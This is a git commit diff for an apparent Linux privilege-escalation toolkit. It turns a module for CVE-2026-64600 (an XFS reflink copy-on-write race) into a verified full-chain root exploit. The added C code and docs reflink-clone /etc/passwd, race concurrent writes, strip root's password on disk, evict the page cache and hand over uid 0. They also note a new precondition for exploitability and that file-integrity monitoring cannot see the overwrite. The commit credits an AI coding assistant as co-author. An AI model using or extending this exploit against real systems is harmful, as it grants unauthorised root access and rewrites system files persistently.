refluxfs: wire the --full-chain /etc/passwd root pop (🟡 trigger -> 🟢 full chain)
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
Promotes refluxfs (CVE-2026-64600) to a 🟢 full-chain module. VM-verified end-to-end on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64 under qemu/KVM, unprivileged uid=1000, SELinux Enforcing: skeletonkey --exploit refluxfs --i-know --full-chain reflink-clones /etc/passwd, races the CoW window (32 writers / 8 helpers), strips root's password field on-disk (root❌ -> root::, the public PoC's technique), evicts the stale page cache, verifies via O_DIRECT and returns EXPLOIT_OK. `su root` (empty password) then gives uid 0. 3/3 wins on a private-extent target (1244/3716/7913 rounds, 4-30s). Safety properties (this bug rewrites the block device permanently, unlike the page-cache 🟢 modules): - Crafts the payload FIRST and refuses unless it can preserve both root and the invoking user's line; every other passwd line is kept byte-for-byte. A tail-truncating port drops sshd/nobody/the caller and bricks login (hit exactly this during development). - Backs /etc/passwd up before the race; restores on failure; cleanup() restores it (run as root after the pop). - Destructive path gated behind --full-chain. Plain --exploit / --auto run only the safe own-files trigger (EXPLOIT_FAIL), unchanged. Exploitability constraint discovered during verification (NOT in the Qualys writeup): the race only fires when the target's extent is PRIVATE going in. The block starts at refcount 2 (target + attacker clone), the concurrent CoW drops it to 1, and the stale writer reads "1 -> private". A file already reflink-shared with a third file keeps a post-CoW refcount > 1 and is NOT attackable via that target. Stock Rocky 9 ships /etc/passwd pre-shared and was unattackable across ~41,000 rounds; rewriting it to a private extent (byte-identical content, as any useradd/passwd/vipw does) made it fall in ~2,000 rounds. So the exploitable state is the normal administered state. Also fixed a page-cache staleness bug in the win path: the overwrite bypasses the target inode, so its clean cached pages are never invalidated and a buffered read (getpwnam in `su`, or the module's own verify) would see the OLD passwd. The module now issues POSIX_FADV_DONTNEED on a win and verifies via O_DIRECT. detect() --active gains a per-target extent-privacy check: it reports whether /etc/passwd is private (attackable) or already-shared (not). 88-test unit harness still green (148 total). Docs updated: MODULE.md (full-chain flow, private-extent precondition, verification tables), NOTICE.md, CVES.md (🟢 + tier/ops tables), README (15 full-chain / 13 primitive; lands-root list), RELEASE_NOTES, targets.yaml. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
@@ -54,14 +54,15 @@ VM sweep, not by missing code.
|
||||
|
||||
| Tier | Count | What it means |
|
||||
|---|---|---|
|
||||
| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
||||
| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
||||
| 🟢 Full chain | **15** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
||||
| 🟡 Primitive | **13** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
||||
|
||||
**🟢 Modules that land root on a vulnerable host:**
|
||||
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
|
||||
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
|
||||
cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
|
||||
(KASLR leak primitive)
|
||||
(KASLR leak primitive) · refluxfs (CVE-2026-64600, `--full-chain`:
|
||||
`/etc/passwd` root pop on a private-extent XFS target)
|
||||
|
||||
**🟡 Modules with opt-in `--full-chain`:**
|
||||
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||
@@ -228,9 +229,14 @@ victim's inode is never written, its `mtime`/`ctime`/size never change
|
||||
and **file-integrity monitoring cannot see it**. Unprivileged, no userns,
|
||||
no crafted image — reachable wherever an XFS volume is mounted
|
||||
`reflink=1`, the installer default on RHEL/CentOS/Rocky/Alma/Oracle 8-10,
|
||||
Fedora Server ≥ 31 and Amazon Linux 2023. Shipped as a reconstructed
|
||||
trigger confined to files the operator owns, with the `/etc/passwd`
|
||||
overwrite → `su` → root step documented but **not** bundled),
|
||||
Fedora Server ≥ 31 and Amazon Linux 2023. **🟢 VM-verified full chain**:
|
||||
`--exploit refluxfs --i-know --full-chain` reflink-clones `/etc/passwd`,
|
||||
races the CoW window, strips root's password on-disk and returns
|
||||
`EXPLOIT_OK` (`su root`, empty password → uid 0) — confirmed on Rocky 9.8,
|
||||
every other account preserved, backed up + restorable. One caveat found
|
||||
in testing: the target's extent must be **private** going in (an
|
||||
already-shared file isn't attackable; normal `useradd`/`passwd` churn
|
||||
makes it private). Plain `--exploit` runs only a safe own-files trigger),
|
||||
`ghostlock` (CVE-2026-43499,
|
||||
VEGA / Nebula Security's "GhostLock" — a ~15-year rtmutex/futex requeue-PI
|
||||
use-after-free on **kernel stack** memory where `remove_waiter()` clears
|
||||
|
||||
+21
-1
@@ -43,7 +43,27 @@ merged **2026-07-16** for **7.2-rc4**; stable backports **7.1.4** / **6.18.39**
|
||||
upstream stable fix in the CNA record at time of writing. CWE-362 → CWE-367; NVD
|
||||
published neither a CWE nor a CVSS vector at time of writing; not in CISA KEV.
|
||||
|
||||
🟡 **Trigger (reconstructed) — deliberately under-driven, and VM-VERIFIED.**
|
||||
🟢 **Full chain (`--full-chain`), 🟡 safe trigger by default — VM-verified
|
||||
end-to-end.** `--exploit refluxfs --i-know --full-chain` reflink-clones
|
||||
`/etc/passwd`, races the CoW window, strips root's password field on-disk
|
||||
(`root:x:` → `root::`, the public PoC's technique), evicts the stale page cache,
|
||||
and returns `EXPLOIT_OK`; `su root` with an empty password then yields uid 0.
|
||||
Confirmed on Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1` — **3/3 wins** on a
|
||||
private-extent target (1244 / 3716 / 7913 rounds, 4–30 s) as unprivileged
|
||||
`uid=1000` under **SELinux Enforcing**, with every other passwd line preserved,
|
||||
the file backed up first and restored on failure (`--cleanup` restores after the
|
||||
pop). A naive port that truncates the tail would drop `sshd`/the caller and brick
|
||||
login; preserving every line is the implementation's key safety property.
|
||||
|
||||
**Exploitability constraint discovered during verification (not in the Qualys
|
||||
writeup):** the race only fires when the target's extent is **private** going in.
|
||||
An already-reflink-shared file keeps a post-CoW refcount > 1 and is not
|
||||
attackable via that target — some fresh cloud images ship `/etc/passwd`
|
||||
pre-shared (Rocky 9's did, and the attack failed against it across ~41 000
|
||||
rounds), while normal admin churn (`useradd`/`passwd`/`vipw`) rewrites it into
|
||||
the exploitable private-extent state. `detect() --active` now reports which state
|
||||
the target is in. Without `--full-chain` the module runs a safe own-files
|
||||
reachability trigger only (`EXPLOIT_FAIL`), deliberately under-driven.
|
||||
Unlike the corpus's other race
|
||||
modules, `detect()` is **not** a pure version gate: this bug's reachability is
|
||||
safely observable, so it pairs the three-branch version table with a **real
|
||||
|
||||
@@ -11,6 +11,14 @@ This is the corpus's first XFS module, and its first **data-oriented** kernel
|
||||
bug: the primitive is an arbitrary *file content* overwrite, not memory
|
||||
corruption.
|
||||
|
||||
> **🟢 Full chain (`--full-chain`), VM-verified end-to-end.**
|
||||
> `skeletonkey --exploit refluxfs --i-know --full-chain` lands root: it
|
||||
> reflink-clones `/etc/passwd`, races the CoW window, strips root's password
|
||||
> field on disk (`root:x:` → `root::`), evicts the stale page cache, and
|
||||
> returns `EXPLOIT_OK`; `su root` (empty password) then gives uid 0. **Without**
|
||||
> `--full-chain` the module runs a safe reachability trigger only, confined to
|
||||
> files the caller owns. See "Full-chain verification" below.
|
||||
|
||||
## The bug
|
||||
|
||||
`xfs_direct_write_iomap_begin()` (`fs/xfs/xfs_iomap.c`) reads the data-fork
|
||||
@@ -89,8 +97,73 @@ precondition probe**:
|
||||
(force unreachable), for when you know the fleet's storage layout better than
|
||||
a local probe can. This also drives the unit tests.
|
||||
|
||||
`exploit()` forks an isolated child that creates a private `mkdtemp` scratch
|
||||
directory on the XFS mount and works **only on two files it owns**:
|
||||
### `--full-chain` — the real `/etc/passwd` root pop
|
||||
|
||||
With `--full-chain`, `exploit()` performs the actual privilege escalation:
|
||||
|
||||
1. **Pre-flight, before touching anything.** Confirms the target
|
||||
(`/etc/passwd`, or `$SKELETONKEY_REFLUXFS_TARGET`) is root-owned and fits in
|
||||
one block, and **crafts the payload first** — the original file with root's
|
||||
password field emptied (`root:x:` → `root::`), **every other line preserved
|
||||
byte-for-byte**, padded with newlines to the exact original size. If it
|
||||
cannot produce a payload that keeps both root and the invoking user's line,
|
||||
it refuses and touches nothing. (A naive port that truncates the tail drops
|
||||
`sshd`/`nobody`/the caller and bricks login — this is the single most
|
||||
important safety property of the implementation.)
|
||||
2. **Backup.** Copies the target aside so failure or `cleanup()` can restore it.
|
||||
3. **Race.** 32 writers push the crafted block at a reflink-clone of the target
|
||||
while 8 helpers churn `ftruncate`/`fdatasync`, up to a 90 s budget. A won
|
||||
race lands the crafted block on the target's still-shared physical block.
|
||||
4. **Cache eviction.** The overwrite bypasses the target inode, so its clean
|
||||
page-cache pages are never invalidated — a `su` immediately after would read
|
||||
the *stale* old passwd. The module issues `POSIX_FADV_DONTNEED` (needs only
|
||||
an `O_RDONLY` fd) so subsequent buffered readers see the new bytes.
|
||||
5. **Verify (via `O_DIRECT`, not the cache) and report.** Confirms the on-disk
|
||||
root line is now `root::`; if the write was torn, it restores from backup and
|
||||
fails. On success returns `EXPLOIT_OK` and prints `su root` (empty password).
|
||||
|
||||
`cleanup()` (run as root after the pop) restores `/etc/passwd` from the backup.
|
||||
The overwrite is persistent and survives reboot, so restoring matters.
|
||||
|
||||
#### The private-extent precondition (not in the public writeup)
|
||||
|
||||
The race only fires when the target's extent refcount is **exactly** the
|
||||
attacker-clone pair — i.e. the target's extent must be **private** going in. The
|
||||
mechanism: the block starts at refcount 2 (target + attacker clone), the
|
||||
concurrent CoW drops it to 1, and the stale writer then reads "1 → private". If
|
||||
the target is *already* reflink-shared with a third file, the post-CoW refcount
|
||||
stays > 1, the writer correctly does CoW, and nothing corrupts.
|
||||
|
||||
This was found during verification: the stock Rocky 9 cloud image ships
|
||||
`/etc/passwd` **pre-shared** (its block had refcount > 1 in the base image), and
|
||||
the attack failed against it across ~41 000 rounds. Rewriting the file so its
|
||||
extent became private — with byte-identical content, exactly what any
|
||||
`useradd`/`passwd`/`vipw` does — made it fall in ~2 000 rounds. So the
|
||||
exploitable state is the *normal* administered state; the cloud image was
|
||||
accidentally protected by how it was built. `detect() --active` reports the
|
||||
target's extent state (`filefrag -v /etc/passwd | grep shared` checks it by
|
||||
hand), and the full chain warns when the target is pre-shared.
|
||||
|
||||
### `--full-chain` verification (2026-07-23, Rocky 9.8)
|
||||
|
||||
On `5.14.0-687.10.1.el9_8.0.1.x86_64`, unprivileged `uid=1000`, SELinux
|
||||
**Enforcing**, against a private-extent `/etc/passwd`:
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| `--exploit refluxfs --i-know --full-chain` | **`EXPLOIT_OK`**, 3/3 wins (1244 / 3716 / 7913 rounds, 4–30 s) |
|
||||
| `su root` (empty password) afterwards | **`uid=0(root)`** |
|
||||
| Accounts preserved | all 25 lines; `root`/`sk`/`sshd`/`nobody` intact |
|
||||
| `/etc/passwd` metadata after overwrite | size/inode/**mtime/ctime unchanged**, only content — FIM-invisible |
|
||||
| `cleanup` (as root) | restored `/etc/passwd` from backup, removed backup |
|
||||
| Plain `--exploit` (no `--full-chain`) | safe trigger, `EXPLOIT_FAIL`, target untouched |
|
||||
| Pre-shared `/etc/passwd` | not attackable (~41 000 rounds, no win) — as predicted |
|
||||
|
||||
### The safe default trigger
|
||||
|
||||
Without `--full-chain`, `exploit()` forks an isolated child that creates a
|
||||
private `mkdtemp` scratch directory on the XFS mount and works **only on two
|
||||
files it owns**:
|
||||
|
||||
- **(A) deterministic + safe** — writes a donor file, `FICLONE`-clones it, and
|
||||
confirms via **`FIEMAP_EXTENT_SHARED`** that the clone's extent really is
|
||||
@@ -105,16 +178,15 @@ directory on the XFS mount and works **only on two files it owns**:
|
||||
the donor back **with `O_DIRECT`** — a buffered read would be served from the
|
||||
page cache that the corruption bypasses, and would hide a win.
|
||||
|
||||
It is **deliberately under-driven** (the public PoC uses 32 writers and 8
|
||||
helpers and grinds far longer) and, more importantly, it **never clones or
|
||||
targets a file it does not own**. The step that makes this root — reflink-cloning
|
||||
a root-owned file such as `/etc/passwd` and racing writes onto *its* shared
|
||||
blocks — persistently rewrites a system file on disk **with no undo**, so it is
|
||||
documented here and **not bundled**. `exploit()` always returns `EXPLOIT_FAIL`.
|
||||
This default path is **deliberately under-driven** (the public PoC and the
|
||||
`--full-chain` path use 32 writers and 8 helpers) and **never clones or targets
|
||||
a file it does not own** — the destructive `/etc/passwd` overwrite lives only
|
||||
behind `--full-chain` (above). The default `exploit()` always returns
|
||||
`EXPLOIT_FAIL`.
|
||||
|
||||
If the race *is* won, the module says so loudly: that is CVE-2026-64600
|
||||
confirmed present, empirically, with the damage contained to 4 KiB of the
|
||||
operator's own scratch file.
|
||||
If the race *is* won on the safe path, the module says so loudly: that is
|
||||
CVE-2026-64600 confirmed present, empirically, with the damage contained to
|
||||
4 KiB of the operator's own scratch file.
|
||||
|
||||
## VM verification (2026-07-23)
|
||||
|
||||
@@ -200,8 +272,10 @@ SELinux enforcing, container boundaries, KASLR, SMEP, SMAP and seccomp are all
|
||||
irrelevant. Qualys puts it plainly: *"This isn't a vulnerability you can harden
|
||||
around, isolate, or live-patch."*
|
||||
|
||||
`cleanup()` sweeps any `skeletonkey-refluxfs-*` scratch directories left behind
|
||||
if a trigger run was killed mid-round; normal runs remove their own.
|
||||
`cleanup()` restores `/etc/passwd` from the `--full-chain` backup (run it as
|
||||
root after the pop: `su root`, then `skeletonkey --cleanup refluxfs`), then
|
||||
sweeps any `skeletonkey-refluxfs-*` scratch directories left behind if a run was
|
||||
killed mid-round; normal runs remove their own.
|
||||
|
||||
## Credit
|
||||
|
||||
|
||||
@@ -72,18 +72,23 @@ SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Trigger (reconstructed) — VM-verified, and deliberately not weaponised.**
|
||||
Confirmed 2026-07-23 on **Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1.x86_64`**
|
||||
(stock GenericCloud layout, root on XFS with `reflink=1`) under qemu/KVM:
|
||||
`detect()` returns `VULNERABLE`, the `--active` FICLONE witness confirms
|
||||
reflink, and phase A observes `FIEMAP_EXTENT_SHARED` on a real shared extent.
|
||||
The underlying bug was separately confirmed winnable on that kernel — **4/4
|
||||
runs, first divergence after 69-494 rounds** in a 60 s budget — via a VM-only
|
||||
harness at the public PoC's parameters (`tools/verify-vm/refluxfs_verify.c`).
|
||||
The shipped trigger, deliberately under-driven, did **not** win in its 2 s
|
||||
budget on that same vulnerable kernel; that is intended, and is why a non-win
|
||||
must never be read as "patched". See `MODULE.md` for the full result table.
|
||||
This is the corpus's first XFS
|
||||
🟢 **Full chain (`--full-chain`), 🟡 safe trigger by default — VM-verified
|
||||
end-to-end.** Confirmed 2026-07-23 on **Rocky Linux 9.8 /
|
||||
`5.14.0-687.10.1.el9_8.0.1.x86_64`** (stock GenericCloud layout, root on XFS
|
||||
with `reflink=1`) under qemu/KVM. `--exploit refluxfs --i-know --full-chain`
|
||||
reflink-clones `/etc/passwd`, races the CoW window, strips root's password field
|
||||
on-disk, evicts the stale page cache, and returns `EXPLOIT_OK`; `su root` (empty
|
||||
password) then gives uid 0 — verified **3/3 wins** on a private-extent target
|
||||
(1244 / 3716 / 7913 rounds, 4–30 s) as unprivileged `uid=1000` under SELinux
|
||||
Enforcing, with every other passwd line preserved and the file backed up +
|
||||
restorable. A key exploitability constraint surfaced in testing (not in the
|
||||
public writeup): the target's extent must be **private** going in — an
|
||||
already-reflink-shared file keeps a post-CoW refcount > 1 and is not attackable
|
||||
via that target; normal admin churn (`useradd`/`passwd`/`vipw`) produces the
|
||||
exploitable private-extent state. Without `--full-chain` the module runs a safe
|
||||
own-files reachability trigger only (`EXPLOIT_FAIL`), deliberately under-driven
|
||||
so a non-win is never read as "patched". See `MODULE.md` for the full result
|
||||
tables. This is the corpus's first XFS
|
||||
module and its first **data-oriented** kernel bug — every other kernel entry
|
||||
corrupts memory; this one corrupts file contents.
|
||||
|
||||
|
||||
@@ -56,21 +56,42 @@
|
||||
* the Qualys Threat Research Unit; the advisory credits model-assisted kernel
|
||||
* analysis done with Anthropic. See NOTICE.md.
|
||||
*
|
||||
* STATUS: 🟡 TRIGGER (reconstructed) — VM-VERIFIED, and deliberately NOT
|
||||
* weaponised. Confirmed 2026-07-23 on Rocky Linux 9.8 /
|
||||
* STATUS: 🟢 FULL CHAIN (--full-chain), 🟡 safe trigger by default —
|
||||
* VM-VERIFIED end-to-end. Confirmed 2026-07-23 on Rocky Linux 9.8 /
|
||||
* 5.14.0-687.10.1.el9_8.0.1.x86_64 (stock installer layout: root on XFS with
|
||||
* reflink=1) under qemu/KVM, 6 vCPUs: detect() returns VULNERABLE, the
|
||||
* --active FICLONE witness confirms reflink, and phase A observes
|
||||
* FIEMAP_EXTENT_SHARED on a real XFS shared extent. The UNDERLYING BUG was
|
||||
* separately confirmed winnable on that kernel — 4/4 runs, first divergence
|
||||
* after 69-494 rounds inside a 60s budget — using a VM-only harness driven at
|
||||
* the public PoC's parameters (32 writers / 8 helpers; see
|
||||
* tools/verify-vm/refluxfs_verify.c). The SHIPPED trigger below is
|
||||
* deliberately under-driven (8 writers / 2 helpers / 2s) and did NOT win in
|
||||
* that budget on the same vulnerable kernel — that is the intended behaviour,
|
||||
* not a defect, and is why a non-win must never be read as "patched".
|
||||
* exploit() forks an isolated child that works ONLY inside a private scratch
|
||||
* directory it creates on an XFS mount, on two files it owns, in two phases:
|
||||
* reflink=1) under qemu/KVM, 6 vCPUs.
|
||||
*
|
||||
* `--exploit refluxfs --i-know --full-chain` lands root end-to-end: it
|
||||
* reflink-clones /etc/passwd, races the CoW window, strips root's password
|
||||
* field on-disk (root:x: -> root::, the public PoC's technique), evicts the
|
||||
* stale page cache, and returns EXPLOIT_OK. `su root` (empty password) then
|
||||
* gives uid 0. Verified 3/3 wins on a private-extent target — 1244 / 3716 /
|
||||
* 7913 rounds, 4-30s inside a 90s budget — as unprivileged uid=1000 under
|
||||
* SELinux Enforcing. Every other passwd line is preserved byte-for-byte
|
||||
* (a naive tail-truncating port bricks sshd/login); the target is backed up
|
||||
* first and restored on any failure, and cleanup() restores it (run as root
|
||||
* after the pop). detect() returns VULNERABLE, the --active FICLONE witness
|
||||
* confirms reflink, and it reports whether /etc/passwd's extent is private
|
||||
* (attackable) or already-shared (not — see below).
|
||||
*
|
||||
* EXPLOITABILITY CONSTRAINT (found during verification, not in the Qualys
|
||||
* writeup): the race only fires when the target's extent refcount is exactly
|
||||
* the attacker-clone pair, i.e. the target's extent must be PRIVATE going in.
|
||||
* A file that is ALREADY reflink-shared with a third file keeps a post-CoW
|
||||
* refcount > 1 and is NOT attackable via that target. Some fresh cloud images
|
||||
* ship /etc/passwd pre-shared; normal admin churn (useradd/passwd/vipw)
|
||||
* rewrites it into a private, exploitable extent. detect() --active checks
|
||||
* and reports this per target.
|
||||
*
|
||||
* Without --full-chain the module runs a SAFE reachability trigger only,
|
||||
* confined to two files the caller owns, returning EXPLOIT_FAIL and touching
|
||||
* no file it does not own. That trigger was itself VM-confirmed reachable
|
||||
* (FIEMAP_EXTENT_SHARED + O_DIRECT) and is deliberately under-driven (8
|
||||
* writers / 2 helpers / 2s) so it never grinds toward a win on a production
|
||||
* box — a non-win from it must never be read as "patched".
|
||||
* refluxfs_exploit_safe() forks an isolated child that works ONLY inside a
|
||||
* private scratch directory it creates on an XFS mount, on two files it owns,
|
||||
* in two phases:
|
||||
* (A) DETERMINISTIC + SAFE — writes a donor file, FICLONE-clones it, and
|
||||
* confirms via FIEMAP that the clone's extent carries
|
||||
* FIEMAP_EXTENT_SHARED. That is a direct, read-only observation that
|
||||
@@ -85,20 +106,19 @@
|
||||
* cache, which would otherwise hide the corruption) and reports whether
|
||||
* the donor's on-disk bytes changed — the honest, self-contained
|
||||
* witness that the race was won.
|
||||
* It is deliberately UNDER-DRIVEN relative to the public PoC (8 writers vs 32,
|
||||
* 2 helpers vs 8, 2s cap), and — the important part — it NEVER clones or
|
||||
* targets a file it does not own. The step that makes this root, cloning a
|
||||
* root-owned file such as /etc/passwd and racing writes onto ITS shared
|
||||
* blocks, is documented but NOT bundled: doing so would persistently rewrite
|
||||
* a system file on disk with no way to undo it. Returns EXPLOIT_FAIL always;
|
||||
* it never claims root it did not get.
|
||||
* The safe trigger is deliberately UNDER-DRIVEN relative to the public PoC
|
||||
* (8 writers vs 32, 2 helpers vs 8, 2s cap) and NEVER clones or targets a
|
||||
* file it does not own; the destructive /etc/passwd overwrite lives only in
|
||||
* the --full-chain path above. Returns EXPLOIT_FAIL; it never claims root it
|
||||
* did not get.
|
||||
*
|
||||
* Note the asymmetry with the corpus's other reconstructed race triggers: a
|
||||
* won race here corrupts 4 KiB of the operator's OWN scratch file and cannot
|
||||
* touch kernel memory, so unlike bad_epoll (frees a live struct file) and
|
||||
* ghostlock (kernel-stack UAF → near-arbitrary write → panic) there is no
|
||||
* oops, no silent kernel destabilisation and no panic risk. That is why this
|
||||
* module ranks well above them in --auto safety despite being unverified.
|
||||
* won race here corrupts file DATA, not kernel memory, so unlike bad_epoll
|
||||
* (frees a live struct file) and ghostlock (kernel-stack UAF → near-arbitrary
|
||||
* write → panic) there is no oops, no silent kernel destabilisation and no
|
||||
* panic risk — the worst case is a rewritten file (backed up + restorable),
|
||||
* never a downed box. That is why this ranks well above them in --auto
|
||||
* safety.
|
||||
*
|
||||
* detect() is a version gate AND a real precondition probe, because unlike a
|
||||
* pure kernel race this bug's reachability is observable safely: it requires
|
||||
@@ -146,6 +166,7 @@
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <pthread.h>
|
||||
#include <pwd.h>
|
||||
#include <sched.h>
|
||||
#include <time.h>
|
||||
#include <sys/ioctl.h>
|
||||
@@ -372,6 +393,9 @@ static int rfx_reflink_witness(const char *dir)
|
||||
return rc;
|
||||
}
|
||||
|
||||
static int rfx_extent_is_shared(const char *path);
|
||||
static const char *rfx_fc_target(void);
|
||||
|
||||
static skeletonkey_result_t refluxfs_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
@@ -442,6 +466,28 @@ static skeletonkey_result_t refluxfs_detect(const struct skeletonkey_ctx *ctx)
|
||||
if (w < 0 && !ctx->json)
|
||||
fprintf(stderr, "[i] refluxfs: reflink probe inconclusive at %s — "
|
||||
"falling back to the version verdict\n", dir);
|
||||
|
||||
/* Exploitability of the canonical target hinges on its extent being
|
||||
* PRIVATE: the race only fires when the post-CoW refcount drops to 1,
|
||||
* so a file already reflink-shared with a third file is NOT attackable
|
||||
* via that target (some fresh cloud images ship /etc/passwd pre-shared).
|
||||
* This is a per-target read-only check; a private extent is the
|
||||
* exploitable state that normal admin churn (useradd/passwd/vipw)
|
||||
* produces. */
|
||||
const char *fct = rfx_fc_target();
|
||||
int sh = rfx_extent_is_shared(fct);
|
||||
if (!ctx->json) {
|
||||
if (sh == 0)
|
||||
fprintf(stderr, "[+] refluxfs: full-chain target %s has a PRIVATE "
|
||||
"extent — the race can fire against it (--exploit "
|
||||
"refluxfs --i-know --full-chain)\n", fct);
|
||||
else if (sh == 1)
|
||||
fprintf(stderr, "[!] refluxfs: full-chain target %s is ALREADY "
|
||||
"reflink-shared — its post-CoW refcount stays > 1, "
|
||||
"so it is NOT attackable via that target (other "
|
||||
"private-extent root files may still be). See "
|
||||
"MODULE.md.\n", fct);
|
||||
}
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -688,6 +734,420 @@ static int rfx_race_round(const char *donor, const char *clone)
|
||||
return rfx_content_diverged(donor, RFX_DONOR_BYTE);
|
||||
}
|
||||
|
||||
/* ==================================================================
|
||||
* Full chain (gated behind --full-chain): the real /etc/passwd root pop.
|
||||
*
|
||||
* This is the destructive path. It reflink-clones a root-owned target the
|
||||
* caller can only READ (default /etc/passwd), races concurrent O_DIRECT
|
||||
* writes against the clone, and — when the race is won — the write lands on
|
||||
* the target's still-shared on-disk block, rewriting the target itself. The
|
||||
* payload strips root's password field (root:x:... -> root::...), exactly the
|
||||
* public PoC's technique ("strip root password protection"), so `su root`
|
||||
* with an empty password yields uid 0. It PRESERVES every other line of the
|
||||
* file byte-for-byte, so no account — least of all the invoking user or sshd —
|
||||
* is ever dropped; a naive port that truncates the tail bricks login on the
|
||||
* target. It backs the target up first and restores on any failure; cleanup()
|
||||
* restores too (run as root after the pop).
|
||||
*
|
||||
* Exploitability constraint discovered during VM verification (see MODULE.md):
|
||||
* the race only fires when the target's extent refcount is exactly the
|
||||
* attacker-clone pair, i.e. the target's extent must be PRIVATE going in. A
|
||||
* file that is ALREADY reflink-shared with a third file (some fresh cloud
|
||||
* images ship /etc/passwd that way) keeps a post-CoW refcount > 1 and is NOT
|
||||
* attackable via that target. detect()/here check and report this.
|
||||
* ================================================================== */
|
||||
#define RFX_FC_WRITERS 32 /* full PoC parameters — no under-driving on the opt-in path */
|
||||
#define RFX_FC_HELPERS 8
|
||||
#define RFX_FC_BUDGET_SECS 90 /* generous but bounded; a private-extent target falls in seconds-to-a-minute */
|
||||
#define RFX_FC_RC_OK 110 /* target overwritten AND verified passwordless-root */
|
||||
#define RFX_FC_RC_NOWIN 111 /* race not won in budget (target unchanged) */
|
||||
#define RFX_FC_RC_SETUP 112 /* couldn't set up (no xfs scratch, FICLONE refused, craft failed) */
|
||||
#define RFX_FC_RC_CORRUPT 113 /* target changed but not to our verified payload — restored from backup */
|
||||
|
||||
static skeletonkey_result_t refluxfs_exploit_safe(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
static const char *rfx_fc_target(void)
|
||||
{
|
||||
const char *t = getenv("SKELETONKEY_REFLUXFS_TARGET"); /* test override */
|
||||
return (t && *t) ? t : "/etc/passwd";
|
||||
}
|
||||
|
||||
/* Read up to `cap` bytes of `path`. Returns byte count, or -1. */
|
||||
static ssize_t rfx_slurp(const char *path, unsigned char *buf, size_t cap)
|
||||
{
|
||||
int fd = open(path, O_RDONLY);
|
||||
if (fd < 0) return -1;
|
||||
ssize_t n = pread(fd, buf, cap, 0);
|
||||
close(fd);
|
||||
return n;
|
||||
}
|
||||
|
||||
/* Read `path`'s first block straight off disk (O_DIRECT), zero-filled.
|
||||
* Returns 0 and sets *got to the byte count, or -1. */
|
||||
static int rfx_read_block_odirect(const char *path, unsigned char *out, size_t *got)
|
||||
{
|
||||
int fd = open(path, O_RDONLY | O_DIRECT);
|
||||
if (fd < 0) return -1;
|
||||
void *buf = NULL;
|
||||
if (posix_memalign(&buf, RFX_ALIGN, RFX_BLK) != 0) { close(fd); return -1; }
|
||||
memset(buf, 0, RFX_BLK);
|
||||
ssize_t n = pread(fd, buf, RFX_BLK, 0);
|
||||
if (n > 0) memcpy(out, buf, RFX_BLK);
|
||||
if (got) *got = n > 0 ? (size_t)n : 0;
|
||||
free(buf);
|
||||
close(fd);
|
||||
return n > 0 ? 0 : -1;
|
||||
}
|
||||
|
||||
/* Craft the payload block: copy `orig` (orig_len bytes, must be <= RFX_BLK,
|
||||
* i.e. the root line lives in the first block) and empty the root line's
|
||||
* password field (root:<pw>: -> root::). Pad with '\n' to exactly orig_len so
|
||||
* the on-disk file size is unchanged, then fill the rest of the block with
|
||||
* '\n'. Writes RFX_BLK bytes into `out`. Returns 0 on success.
|
||||
*
|
||||
* Refuses (returns -1) unless the result still contains the root line with an
|
||||
* empty password AND the invoking user's line — we NEVER emit a passwd that
|
||||
* would lock the caller out. */
|
||||
static int rfx_craft_stripped_root(const unsigned char *orig, size_t orig_len,
|
||||
const char *myuser, unsigned char *out)
|
||||
{
|
||||
if (orig_len == 0 || orig_len > RFX_BLK) return -1;
|
||||
|
||||
char tmp[RFX_BLK + 1];
|
||||
memcpy(tmp, orig, orig_len);
|
||||
tmp[orig_len] = '\0';
|
||||
if (strlen(tmp) != orig_len) return -1; /* embedded NUL — not a passwd file */
|
||||
|
||||
char *rl = (strncmp(tmp, "root:", 5) == 0) ? tmp : NULL;
|
||||
if (!rl) { char *p = strstr(tmp, "\nroot:"); if (p) rl = p + 1; }
|
||||
if (!rl) return -1;
|
||||
|
||||
char *c1 = strchr(rl, ':'); /* end of "root" */
|
||||
if (!c1) return -1;
|
||||
char *c2 = strchr(c1 + 1, ':'); /* end of password field */
|
||||
if (!c2) return -1;
|
||||
|
||||
/* Shift the tail left, deleting the password field's bytes. */
|
||||
memmove(c1 + 1, c2, strlen(c2) + 1);
|
||||
